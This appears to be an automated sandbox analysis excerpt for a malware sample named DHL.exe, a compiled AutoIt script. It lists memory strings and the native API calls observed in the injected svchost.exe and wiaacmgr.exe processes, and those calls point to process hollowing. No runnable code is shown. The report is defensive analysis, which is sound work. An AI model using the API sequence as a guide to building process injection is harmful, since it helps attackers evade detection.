Source: DHL.exe, 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_86dc409f-e
Source: DHL.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d0fb5b19-4
Source: DHL.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_48831035-2

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042CB43 NtClose,	2_2_0042CB43
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040AA5A NtDelayExecution,	2_2_0040AA5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472B60 NtClose,LdrInitializeThunk,	2_2_03472B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03472DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034735C0 NtCreateMutant,LdrInitializeThunk,	2_2_034735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03474340 NtSetContextThread,	2_2_03474340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03474650 NtSuspendThread,	2_2_03474650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BE0 NtQueryValueKey,	2_2_03472BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BF0 NtAllocateVirtualMemory,	2_2_03472BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472B80 NtQueryInformationFile,	2_2_03472B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BA0 NtEnumerateValueKey,	2_2_03472BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AD0 NtReadFile,	2_2_03472AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AF0 NtWriteFile,	2_2_03472AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AB0 NtWaitForSingleObject,	2_2_03472AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F60 NtCreateProcessEx,	2_2_03472F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F30 NtCreateSection,	2_2_03472F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FE0 NtCreateFile,	2_2_03472FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F90 NtProtectVirtualMemory,	2_2_03472F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FA0 NtQuerySection,	2_2_03472FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FB0 NtResumeThread,	2_2_03472FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472E30 NtWriteVirtualMemory,	2_2_03472E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472EE0 NtQueueApcThread,	2_2_03472EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472E80 NtReadVirtualMemory,	2_2_03472E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472EA0 NtAdjustPrivilegesToken,	2_2_03472EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D00 NtSetInformationFile,	2_2_03472D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D10 NtMapViewOfSection,	2_2_03472D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D30 NtUnmapViewOfSection,	2_2_03472D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DD0 NtDelayExecution,	2_2_03472DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DB0 NtEnumerateKey,	2_2_03472DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C60 NtCreateKey,	2_2_03472C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C70 NtFreeVirtualMemory,	2_2_03472C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C00 NtQueryInformationProcess,	2_2_03472C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CC0 NtQueryVirtualMemory,	2_2_03472CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CF0 NtOpenProcess,	2_2_03472CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CA0 NtQueryInformationToken,	2_2_03472CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473010 NtOpenDirectoryObject,	2_2_03473010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473090 NtSetValueKey,	2_2_03473090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034739B0 NtGetContextThread,	2_2_034739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473D70 NtOpenThread,	2_2_03473D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473D10 NtOpenProcessToken,	2_2_03473D10
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C4650 NtSuspendThread,LdrInitializeThunk,	5_2_048C4650
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C4340 NtSetContextThread,LdrInitializeThunk,	5_2_048C4340
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_048C2CA0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2C60 NtCreateKey,LdrInitializeThunk,	5_2_048C2C60
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_048C2C70
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2DD0 NtDelayExecution,LdrInitializeThunk,	5_2_048C2DD0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_048C2DF0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_048C2D10
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_048C2D30
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_048C2E80
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_048C2EE0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2FB0 NtResumeThread,LdrInitializeThunk,	5_2_048C2FB0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2FE0 NtCreateFile,LdrInitializeThunk,	5_2_048C2FE0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2F30 NtCreateSection,LdrInitializeThunk,	5_2_048C2F30
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2AD0 NtReadFile,LdrInitializeThunk,	5_2_048C2AD0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2AF0 NtWriteFile,LdrInitializeThunk,	5_2_048C2AF0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_048C2BA0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_048C2BE0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_048C2BF0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2B60 NtClose,LdrInitializeThunk,	5_2_048C2B60
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C35C0 NtCreateMutant,LdrInitializeThunk,	5_2_048C35C0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C39B0 NtGetContextThread,LdrInitializeThunk,	5_2_048C39B0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2CC0 NtQueryVirtualMemory,	5_2_048C2CC0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2CF0 NtOpenProcess,	5_2_048C2CF0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2C00 NtQueryInformationProcess,	5_2_048C2C00
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2DB0 NtEnumerateKey,	5_2_048C2DB0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2D00 NtSetInformationFile,	5_2_048C2D00
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2EA0 NtAdjustPrivilegesToken,	5_2_048C2EA0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2E30 NtWriteVirtualMemory,	5_2_048C2E30
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2F90 NtProtectVirtualMemory,	5_2_048C2F90
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2FA0 NtQuerySection,	5_2_048C2FA0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2F60 NtCreateProcessEx,	5_2_048C2F60
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2AB0 NtWaitForSingleObject,	5_2_048C2AB0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C2B80 NtQueryInformationFile,	5_2_048C2B80
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C3090 NtSetValueKey,	5_2_048C3090
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C3010 NtOpenDirectoryObject,	5_2_048C3010
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C3D10 NtOpenProcessToken,	5_2_048C3D10
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C3D70 NtOpenThread,	5_2_048C3D70
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02879720 NtReadFile,	5_2_02879720
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_028795B0 NtCreateFile,	5_2_028795B0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02879A20 NtAllocateVirtualMemory,	5_2_02879A20
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_028798B0 NtClose,	5_2_028798B0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02879810 NtDeleteFile,	5_2_02879810

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A0D5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00A0D5EB

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A01201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00A01201

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A0E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00A0E8F6

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A12046	0_2_00A12046
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009A8060	0_2_009A8060
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A08298	0_2_00A08298
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009DE4FF	0_2_009DE4FF
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009D676B	0_2_009D676B
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A34873	0_2_00A34873
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009CCAA0	0_2_009CCAA0
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009ACAF0	0_2_009ACAF0
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009BCC39	0_2_009BCC39
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009D6DD9	0_2_009D6DD9
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009A91C0	0_2_009A91C0
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009BB119	0_2_009BB119
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C1394	0_2_009C1394
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C1706	0_2_009C1706
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C781B	0_2_009C781B
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C19B0	0_2_009C19B0
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009A7920	0_2_009A7920
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009B997D	0_2_009B997D
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C7A4A	0_2_009C7A4A
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C7CA7	0_2_009C7CA7
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C1C77	0_2_009C1C77
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009D9EEE	0_2_009D9EEE
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A2BE44	0_2_00A2BE44
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C1F32	0_2_009C1F32
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00E165F8	0_2_00E165F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418A23	2_2_00418A23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403010	2_2_00403010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042F173	2_2_0042F173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041024A	2_2_0041024A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410253	2_2_00410253
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401220	2_2_00401220
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004043B5	2_2_004043B5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410473	2_2_00410473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E473	2_2_0040E473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416C10	2_2_00416C10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416C13	2_2_00416C13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024D0	2_2_004024D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E5C3	2_2_0040E5C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E5B8	2_2_0040E5B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402740	2_2_00402740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA352	2_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035003E6	2_2_035003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C02C0	2_2_034C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C8158	2_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430100	2_2_03430100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F81CC	2_2_034F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F41A2	2_2_034F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035001AA	2_2_035001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464750	2_2_03464750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343C7C0	2_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345C6E0	2_2_0345C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03500591	2_2_03500591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F2446	2_2_034F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E4420	2_2_034E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EE4F6	2_2_034EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FAB40	2_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F6BD7	2_2_034F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350A9A6	2_2_0350A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344A840	2_2_0344A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03442840	2_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E8F0	2_2_0346E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034268B8	2_2_034268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03482F28	2_2_03482F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460F30	2_2_03460F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E2F30	2_2_034E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432FC8	2_2_03432FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344CFE0	2_2_0344CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BEFA0	2_2_034BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440E59	2_2_03440E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FEE26	2_2_034FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FEEDB	2_2_034FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452E90	2_2_03452E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FCE93	2_2_034FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344AD00	2_2_0344AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DCD1F	2_2_034DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343ADE0	2_2_0343ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03458DBF	2_2_03458DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440C00	2_2_03440C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430CF2	2_2_03430CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0CB5	2_2_034E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342D34C	2_2_0342D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F132D	2_2_034F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0348739A	2_2_0348739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345B2C0	2_2_0345B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E12ED	2_2_034E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034452A0	2_2_034452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347516C	2_2_0347516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342F172	2_2_0342F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350B16B	2_2_0350B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344B1B0	2_2_0344B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EF0CC	2_2_034EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034470C0	2_2_034470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F70E9	2_2_034F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF0E0	2_2_034FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF7B0	2_2_034FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03485630	2_2_03485630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F16CC	2_2_034F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7571	2_2_034F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035095C3	2_2_035095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DD5B0	2_2_034DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03431460	2_2_03431460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF43F	2_2_034FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFB76	2_2_034FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B5BF0	2_2_034B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347DBF9	2_2_0347DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345FB80	2_2_0345FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFA49	2_2_034FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7A46	2_2_034F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B3A6C	2_2_034B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EDAC6	2_2_034EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DDAAC	2_2_034DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03485AA0	2_2_03485AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E1AA3	2_2_034E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03449950	2_2_03449950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345B950	2_2_0345B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D5910	2_2_034D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AD800	2_2_034AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034438E0	2_2_034438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFF09	2_2_034FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03403FD2	2_2_03403FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03403FD5	2_2_03403FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03441F92	2_2_03441F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFFB1	2_2_034FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03449EB0	2_2_03449EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03443D40	2_2_03443D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F1D5A	2_2_034F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7D73	2_2_034F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345FDC0	2_2_0345FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B9C32	2_2_034B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFCF2	2_2_034FFCF2
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0493E4F6	5_2_0493E4F6
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04934420	5_2_04934420
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04942446	5_2_04942446
